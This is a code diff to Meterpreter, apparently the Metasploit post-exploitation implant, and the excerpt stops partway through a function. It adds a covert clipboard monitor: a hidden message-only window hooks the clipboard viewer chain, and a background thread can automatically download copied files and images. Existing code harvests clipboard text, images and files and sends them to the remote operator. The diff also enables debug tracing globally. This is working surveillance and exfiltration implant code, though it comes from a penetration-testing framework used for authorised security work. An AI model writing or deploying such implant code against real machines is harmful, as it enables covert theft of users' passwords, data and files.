diff --git a/c/meterpreter/make.bat b/c/meterpreter/make.bat
index b25647a5..2d535666 100644
--- a/c/meterpreter/make.bat
+++ b/c/meterpreter/make.bat
@@ -9,6 +9,8 @@ SET PREF=
 IF EXIST "..\pssdk\PSSDK_VC%PSSDK_VER%_LIB\_Libs\pssdk_vc%PSSDK%_mt.lib" SET PREF=r7_
 
 IF "%1"=="x86" GOTO BUILD_X86
+IF "%1"=="X86" GOTO BUILD_X86
+IF "%1"=="x64" GOTO BUILD_X64
 IF "%1"=="X64" GOTO BUILD_X64
 
 ECHO "Building Meterpreter x64 and x86 (Release)"
diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h
index 635c4337..64495bfc 100644
--- a/c/meterpreter/source/common/common.h
+++ b/c/meterpreter/source/common/common.h
@@ -162,7 +162,7 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
 #include <wininet.h>
 
 /*! @brief When defined, debug output is enabled on Windows builds. */
-//#define DEBUGTRACE 1
+#define DEBUGTRACE 1
 
 #ifdef DEBUGTRACE
 #define dprintf(...) real_dprintf(__VA_ARGS__)
@@ -171,13 +171,13 @@ void real_dprintf(char *filename, int line, const char *function, char *format,
 #endif
 
 /*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `break;` */
-#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
+#define BREAK_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
 /*! @brief Sets `dwResult` to `error`, prints debug output, then `break;` */
-#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
+#define BREAK_WITH_ERROR( str, err ) { dwResult = err; dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
 /*! @brief Sets `dwResult` to the return value of `WASGetLastError()`, prints debug output, then does `break;` */
-#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); break; }
+#define BREAK_ON_WSAERROR( str ) { dwResult = WSAGetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); break; }
 /*! @brief Sets `dwResult` to the return value of `GetLastError()`, prints debug output, then does `continue;` */
-#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%u)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
+#define CONTINUE_ON_ERROR( str ) { dwResult = GetLastError(); dprintf( "%s. error=%d (0x%x)", str, dwResult, (ULONG_PTR)dwResult ); continue; }
 
 /*! @brief Close a service handle if not already closed and set the handle to NULL. */
 #define CLOSE_SERVICE_HANDLE( h )  if( h ) { CloseServiceHandle( h ); h = NULL; }
diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index f46e6386..64e9afb0 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -1,12 +1,43 @@
 /*!
- * @file clipboard.h
+ * @file clipboard.c
  * @brief Definitions for clipboard interaction functionality.
  */
 #include "extapi.h"
+#include "../../common/thread.h"
 #include "clipboard.h"
 #include "clipboard_image.h"
 
+typedef struct _ClipboardState
+{
 #ifdef _WIN32
+	/*! @brief Name to use for the window class when registering the message-only window. */
+	char cbWindowClass[256];
+	/*! @brief Handle to the clipboard monitor window. */
+	HWND hClipboardWindow;
+	/*! @brief Handle to the next window in the clipboard chain. */
+	HWND hNextViewer;
+#endif
+	/*! @brief Indicates if the thread is running or not. */
+	BOOL bRunning;
+	/*! @brief Handle to the event that signals when the thread has actioned the caller's request. */
+	EVENT* hResponseEvent;
+	/*! @brief Signalled when the caller wants the thread to pause. */
+	EVENT* hPauseEvent;
+	/*! @brief Signalled when the caller wants the thread to resume. */
+	EVENT* hResumeEvent;
+	/*! @brief Automatically download files copied to the clipboard. */
+	BOOL bDownloadFiles;
+	/*! @brief Automatically download image content copied to the clipboard. */
+	BOOL bDownloadImages;
+	/*! @brief Reference to the clipboard monitor thread. */
+	THREAD* hThread;
+} ClipboardState;
+
+/*! @brief Pointer to the state for the monitor thread. */
+static ClipboardState* gClipboardState = NULL;
+
+#ifdef _WIN32
+
 /*! @brief GlobalAlloc function pointer type. */
 typedef HGLOBAL(WINAPI * PGLOBALALLOC)(UINT uFlags, SIZE_T dwBytes);
 
@@ -50,8 +81,141 @@ typedef BOOL(WINAPI * PCLOSEHANDLE)(HANDLE hObject);
 /*! @brief GetFileSizeEx function pointer type. */
 typedef BOOL(WINAPI * PGETFILESIZEEX)(HANDLE hFile, PLARGE_INTEGER lpFileSize);
 
-#endif
+LRESULT WINAPI clipboard_monitor_window_proc(HWND hWnd, UINT uMsg, LPARAM lParam, WPARAM wParam)
+{
+	ClipboardState* pState = (ClipboardState*)GetWindowLongPtrA(hWnd, GWLP_USERDATA);
 
+	if (!pState)
+	{
+		pState = gClipboardState;
+	}
+
+	switch (uMsg)
+	{
+	case WM_CREATE:
+		dprintf("[EXTAPI CLIPBOARD] received WM_CREATE %x", hWnd);
+		pState = (ClipboardState*)pState;
+		SetWindowLongPtrA(hWnd, GWLP_USERDATA, (LONG_PTR)pState);
+		pState->hNextViewer = SetClipboardViewer(hWnd);
+		dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer called, next viewer is %x", pState->hNextViewer);
+
+		if (!pState->hNextViewer)
+		{
+			dprintf("[EXTAPI CLIPBOARD] SetClipboardViewer error %u", GetLastError());
+		}
+		break;
+
+	case WM_CHANGECBCHAIN: 
+		dprintf("[EXTAPI CLIPBOARD] received WM_CHANGECBCHAIN %x", hWnd);
+		if ((HWND)wParam == pState->hNextViewer)
+		{
+			pState->hNextViewer = (HWND)lParam;
+			dprintf("[EXTAPI CLIPBOARD] Next viewer is now %x", pState->hNextViewer);
+		}
+		else if (pState->hNextViewer)
+		{
+			SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
+		}
+        break;
+
+     case WM_DRAWCLIPBOARD:
+		dprintf("[EXTAPI CLIPBOARD] received WM_DRAWCLIPBOARD %x", hWnd);
+
+		if (pState->bRunning)
+		{
+			dprintf("[EXTAPI CLIPBOARD] thread is running, harvesting clipboard %x", hWnd);
+		}
+		else
+		{
+			dprintf("[EXTAPI CLIPBOARD] thread is no running, ignoring clipboard change %x", hWnd);
+		}
+
+		if (pState->hNextViewer)
+		{
+			dprintf("[EXTAPI CLIPBOARD] Passing on to %x", pState->hNextViewer);
+			SendMessageA(pState->hNextViewer, uMsg, wParam, lParam);
+		}
+        break;
+
+	case WM_DESTROY:
+		dprintf("[EXTAPI CLIPBOARD] received WM_DESTROY %x", hWnd);
+		ChangeClipboardChain(hWnd, pState->hNextViewer); 
+		break;
+
+	default:
+		return DefWindowProcA(hWnd, uMsg, lParam, wParam);
+	}
+
+	return (LRESULT)NULL;
+}
+
+DWORD create_clipboard_monitor_window(ClipboardState* pState)
+{
+	DWORD dwResult;
+	BOOL bRegistered = FALSE;
+	WNDCLASSEXA wndClass = { 0 };
+
+	wndClass.cbSize = sizeof(WNDCLASSEXA);
+	wndClass.lpfnWndProc = (WNDPROC)clipboard_monitor_window_proc;
+	wndClass.hInstance = GetModuleHandleA(NULL);
+	wndClass.lpszClassName = pState->cbWindowClass;
+
+	dprintf("[EXTAPI CLIPBOARD] Setting up the monitor window. Class = %s from %p -> %s", wndClass.lpszClassName, pState, pState->cbWindowClass);
+
+	do
+	{
+		if (!RegisterClassExA(&wndClass))
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to register window class.");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Window registered");
+		bRegistered = TRUE;
+
+		pState->hClipboardWindow = CreateWindowExA(0, pState->cbWindowClass, pState->cbWindowClass, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, NULL, pState);
+
+		if (pState->hClipboardWindow == NULL)
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to create message only window instance");
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Window created");
+		dwResult = ERROR_SUCCESS;
+
+	} while (0);
+
+	if (pState->hClipboardWindow == NULL && bRegistered)
+	{
+		UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL));
+	}
+
+	return dwResult;
+}
+
+DWORD destroy_clipboard_monitor_window(ClipboardState* pState)
+{
+	DWORD dwResult;
+
+	do
+	{
+		dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor window: %p", pState);
+		if (!DestroyWindow(pState->hClipboardWindow))
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to destroy the clipboard window");
+		}
+
+		if (!UnregisterClassA(pState->cbWindowClass, GetModuleHandleA(NULL)))
+		{
+			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Failed to destroy the clipboard window");
+		}
+
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	return dwResult;
+}
+
+#endif
 /*!
  * @brief Handle the request to get the data from the clipboard.
  * @details This function currently only supports the following clipboard data formats:
@@ -109,38 +273,55 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 	{
 		dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
 		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
 		if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
 		if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
 		if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
 		if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
 		if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GetClipboardData");
 		if ((pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress(hUser32, "GetClipboardData")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetClipboardData in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for EnumClipboardFormats");
 		if ((pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress(hUser32, "EnumClipboardFormats")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EnumClipboardFormats in user32.dll");
+		}
 
 		// Try to get a lock on the clipboard
-		if (!pOpenClipboard(NULL)) {
+		if (!pOpenClipboard(NULL))
+		{
 			dwResult = GetLastError();
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
 		}
@@ -149,23 +330,25 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 
 		while (uFormat = pEnumClipboardFormats(uFormat))
 		{
-			if (uFormat == CF_TEXT) {
+			if (uFormat == CF_TEXT)
+			{
 				// there's raw text on the clipboard
 				if ((hClipboardData = pGetClipboardData(CF_TEXT)) != NULL
-					&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL) {
-
+					&& (lpClipString = (PCHAR)pGlobalLock(hClipboardData)) != NULL)
+				{
 					dprintf("[EXTAPI CLIPBOARD] Clipboard text captured: %s", lpClipString);
 					packet_add_tlv_string(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString);
 
 					pGlobalUnlock(hClipboardData);
 				}
 			}
-			else if (uFormat == CF_DIB) {
+			else if (uFormat == CF_DIB)
+			{
 				dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard bitmap data");
 				// an image of some kind is on the clipboard
 				if ((hClipboardData = pGetClipboardData(CF_DIB)) != NULL
-					&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL) {
-
+					&& (lpBI = (LPBITMAPINFO)pGlobalLock(hClipboardData)) != NULL)
+				{
 					dprintf("[EXTAPI CLIPBOARD] CF_DIB grabbed, extracting dimensions.");
 
 					// grab the bitmap image size
@@ -184,15 +367,17 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 					dprintf("[EXTAPI CLIPBOARD] Image is %dx%d and %s be downloaded", lpBI->bmiHeader.biWidth, lpBI->bmiHeader.biHeight,
 						bImageDownload ? "WILL" : "will NOT");
 
-					if (!bImageDownload) {
+					if (!bImageDownload)
+					{
 						packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG, imageTlv, 2);
 					}
-					else {
+					else
+					{
 						lpDIB = ((PUCHAR)lpBI) + get_bitmapinfo_size(lpBI, TRUE);
 
 						// TODO: add the ability to encode with multiple encoders and return the smallest image.
-						if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS) {
-
+						if (convert_to_jpg(lpBI, lpDIB, 75, &image) == ERROR_SUCCESS)
+						{
 							dprintf("[EXTAPI CLIPBOARD] Clipboard bitmap captured to image: %p, Size: %u bytes", image.pImageBuffer, image.dwImageBufferSize);
 							imageTlv[2].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA;
 							imageTlv[2].header.length = image.dwImageBufferSize;
@@ -207,7 +392,8 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 
 							free(image.pImageBuffer);
 						}
-						else {
+						else
+						{
 							dwResult = GetLastError();
 							dprintf("[EXTAPI CLIPBOARD] Failed to convert clipboard image to JPG");
 						}
@@ -215,7 +401,8 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 
 					pGlobalUnlock(hClipboardData);
 				}
-				else {
+				else
+				{
 					dwResult = GetLastError();
 					dprintf("[EXTAPI CLIPBOARD] Failed to get access to the CF_DIB information");
 				}
@@ -227,34 +414,46 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 				{
 					dprintf("[EXTAPI CLIPBOARD] Loading shell32.dll");
 					if ((hShell32 = LoadLibraryA("shell32.dll")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load shell32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Searching for CreateFileA");
 					if ((pCreateFileA = (PCREATEFILEA)GetProcAddress(hKernel32, "CreateFileA")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CreateFileA in kernel32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Searching for CloseHandle");
 					if ((pCloseHandle = (PCLOSEHANDLE)GetProcAddress(hKernel32, "CloseHandle")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseHandle in kernel32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Searching for GetFileSizeEx");
 					if ((pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress(hKernel32, "GetFileSizeEx")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GetFileSizeEx in kernel32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Searching for DragQueryFileA");
 					if ((pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress(hShell32, "DragQueryFileA")) == NULL)
+					{
 						BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in shell32.dll");
+					}
 
 					dprintf("[EXTAPI CLIPBOARD] Grabbing the clipboard file drop data");
 					if ((hClipboardData = pGetClipboardData(CF_HDROP)) != NULL
-						&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL) {
-
+						&& (hFileDrop = (HDROP)pGlobalLock(hClipboardData)) != NULL)
+					{
 						uFileCount = pDragQueryFileA(hFileDrop, (UINT)-1, NULL, 0);
 
 						dprintf("[EXTAPI CLIPBOARD] Parsing %u file(s) on the clipboard.", uFileCount);
 
-						for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex) {
-							if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName))) {
+						for (uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex)
+						{
+							if (pDragQueryFileA(hFileDrop, uFileIndex, lpFileName, sizeof(lpFileName)))
+							{
 								dprintf("[EXTAPI CLIPBOARD] Clipboard file entry: %s", lpFileName);
 
 								memset(&entries, 0, sizeof(entries));
@@ -268,8 +467,10 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 								entries[1].header.length = sizeof(QWORD);
 								entries[1].buffer = (PUCHAR)&largeInt.QuadPart;
 
-								if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL) {
-									if (pGetFileSizeEx(hSourceFile, &largeInt)) {
+								if ((hSourceFile = pCreateFileA(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != NULL)
+								{
+									if (pGetFileSizeEx(hSourceFile, &largeInt))
+									{
 										largeInt.QuadPart = htonq(largeInt.QuadPart);
 									}
 
@@ -294,16 +495,24 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet)
 	} while (0);
 
 	if (hShell32)
+	{
 		FreeLibrary(hShell32);
+	}
 
 	if (hKernel32)
+	{
 		FreeLibrary(hKernel32);
+	}
 
 	if (hUser32)
+	{
 		FreeLibrary(hUser32);
+	}
 
 	if (pResponse)
+	{
 		packet_transmit_response(dwResult, remote, pResponse);
+	}
 
 	return dwResult;
 #else
@@ -347,27 +556,39 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 	do
 	{
 		if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)) == NULL)
+		{
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Loading user32.dll");
 		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll");
 		if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc");
 		if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock");
 		if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock");
 		if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard");
 		if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL)
@@ -375,22 +596,29 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard");
 		if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard");
 		if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll");
+		}
 
 		dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData");
 		if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll");
+		}
 
 		cbStringBytes = (SIZE_T)strlen(lpClipString) + 1;
 
 		// do the "use the right kind of memory once locked" clip board data dance.
 		// Note that we don't free up the memory we've allocated with GlobalAlloc
 		// because the windows clipboard magic does it for us.
-		if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL) {
+		if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL)
+		{
 			dwResult = GetLastError();
 			pCloseClipboard();
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Failed to allocate clipboard memory", dwResult);
@@ -403,7 +631,8 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 		pGlobalUnlock(hClipboardData);
 
 		// Try to get a lock on the clipboard
-		if (!pOpenClipboard(NULL)) {
+		if (!pOpenClipboard(NULL))
+		{
 			dwResult = GetLastError();
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult);
 		}
@@ -411,7 +640,8 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 		// Clear the clipboard data
 		pEmptyClipboard();
 
-		if (!pSetClipboardData(CF_TEXT, hClipboardData)) {
+		if (!pSetClipboardData(CF_TEXT, hClipboardData))
+		{
 			dwResult = GetLastError();
 			dprintf("[EXTAPI CLIPBOARD] Failed to set the clipboad data: %u", dwResult);
 		}
@@ -425,17 +655,24 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 
 	// If something went wrong and we have clipboard data, then we need to
 	// free it up because the clipboard can't do it for us.
-	if (dwResult != ERROR_SUCCESS && hClipboardData != NULL) {
+	if (dwResult != ERROR_SUCCESS && hClipboardData != NULL)
+	{
 		dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree");
 		if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) != NULL)
+		{
 			pGlobalFree(hClipboardData);
+		}
 	}
 
 	if (hKernel32)
+	{
 		FreeLibrary(hKernel32);
+	}
 
 	if (hUser32)
+	{
 		FreeLibrary(hUser32);
+	}
 
 	packet_transmit_empty_response(remote, packet, dwResult);
 
@@ -445,10 +682,268 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
 #endif
 }
 
+DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
+{
+#ifdef _WIN32
+	DWORD dwResult;
+	BOOL bTerminate = FALSE;
+	HANDLE waitableHandles[2] = {0};
+	MSG msg;
+	ClipboardState* pState = (ClipboardState*)thread->parameter1;
+
+	do
+	{
+		if (pState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread state is NULL", ERROR_INVALID_PARAMETER);
+		}
+
+		dwResult = create_clipboard_monitor_window(pState);
+		if (dwResult != ERROR_SUCCESS)
+		{
+			break;
+		}
+
+		// signal to the caller that our thread has started
+		dprintf("[EXTAPI CLIPBOARD] Thread started");
+		pState->bRunning = TRUE;
+		event_signal(pState->hResponseEvent);
+
+		waitableHandles[0] = thread->sigterm->handle;
+		waitableHandles[1] = pState->hPauseEvent->handle;
+
+		while (!bTerminate)
+		{
+			dwResult = WaitForMultipleObjects(2, waitableHandles, FALSE, 1) - WAIT_OBJECT_0;
+
+			switch (dwResult)
+			{
+			case 0: // stop the thread
+				dprintf("[EXTAPI CLIPBOARD] Thread stopping");
+				bTerminate = TRUE;
+				break;
+			case 1: // pause the thread
+				dprintf("[EXTAPI CLIPBOARD] Thread paused");
+				pState->bRunning = FALSE;
+
+				// indicate that we've paused
+				event_signal(pState->hResponseEvent);
+
+				// wait to be told to continue, but keep pumping messages while we wait
+				// because these are the messages we're ignoring.
+				while (!event_poll(pState->hResumeEvent, 1))
+				{
+					if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
+					{
+						TranslateMessage(&msg);
+						DispatchMessageA(&msg);
+					}
+				}
+
+				// indicate that we've resumed
+				pState->bRunning = TRUE;
+				event_signal(pState->hResponseEvent);
+
+				dprintf("[EXTAPI CLIPBOARD] Thread resumed");
+				break;
+			default:
+				// timeout, so pump messages
+				if (pState->hClipboardWindow && PeekMessageA(&msg, pState->hClipboardWindow, 0, 0, PM_REMOVE))
+				{
+					TranslateMessage(&msg);
+					DispatchMessageA(&msg);
+				}
+				break;
+			}
+		}
+
+		// and we're done, switch off, and tell the caller we're done
+		pState->bRunning = FALSE;
+		destroy_clipboard_monitor_window(pState);
+		event_signal(pState->hResponseEvent);
+		dprintf("[EXTAPI CLIPBOARD] Thread stopped");
+
+	} while (0);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+VOID destroy_clipboard_monitor_state(ClipboardState* pState)
+{
+	dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor state");
+	if (pState != NULL)
+	{
+		if (pState->hThread != NULL)
+		{
+			thread_destroy(pState->hThread);
+		}
+		if (pState->hPauseEvent != NULL)
+		{
+			event_destroy(pState->hPauseEvent);
+		}
+		if (pState->hResumeEvent != NULL)
+		{
+			event_destroy(pState->hResumeEvent);
+		}
+		if (pState->hResponseEvent != NULL)
+		{
+			event_destroy(pState->hResponseEvent);
+		}
+
+		free(pState);
+	}
+}
+
 DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
 	DWORD dwResult = ERROR_SUCCESS;
+	ClipboardState* pState = NULL;
+	char* lpClassName = NULL;
+
+	do
+	{
+		if (gClipboardState != NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread already running", ERROR_ALREADY_INITIALIZED);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] Starting clipboard monitor");
+
+		pState = (ClipboardState*)malloc(sizeof(ClipboardState));
+		if (pState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard state", ERROR_NOT_ENOUGH_MEMORY);
+		}
+
+		dprintf("[EXTAPI CLIPBOARD] pState %p", pState);
+		memset(pState, 0, sizeof(ClipboardState));
+
+		lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
+		if (lpClassName == NULL || strlen(lpClassName) == 0)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER);
+		}
+
+		strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
+		dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
+
+		pState->bDownloadFiles = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES);
+		pState->bDownloadImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES);
+
+		pState->hPauseEvent = event_create();
+		pState->hResumeEvent = event_create();
+		pState->hResponseEvent = event_create();
+
+		if (pState->hPauseEvent == NULL
+			|| pState->hResumeEvent == NULL
+			|| pState->hResponseEvent == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY);
+		}
+
+		pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
+
+		if (pState->hThread == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard thread", ERROR_NOT_ENOUGH_MEMORY);
+		}
+
+		gClipboardState = pState;
+		thread_run(pState->hThread);
+
+		// 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out
+		if (!event_poll(pState->hResponseEvent, 4000))
+		{
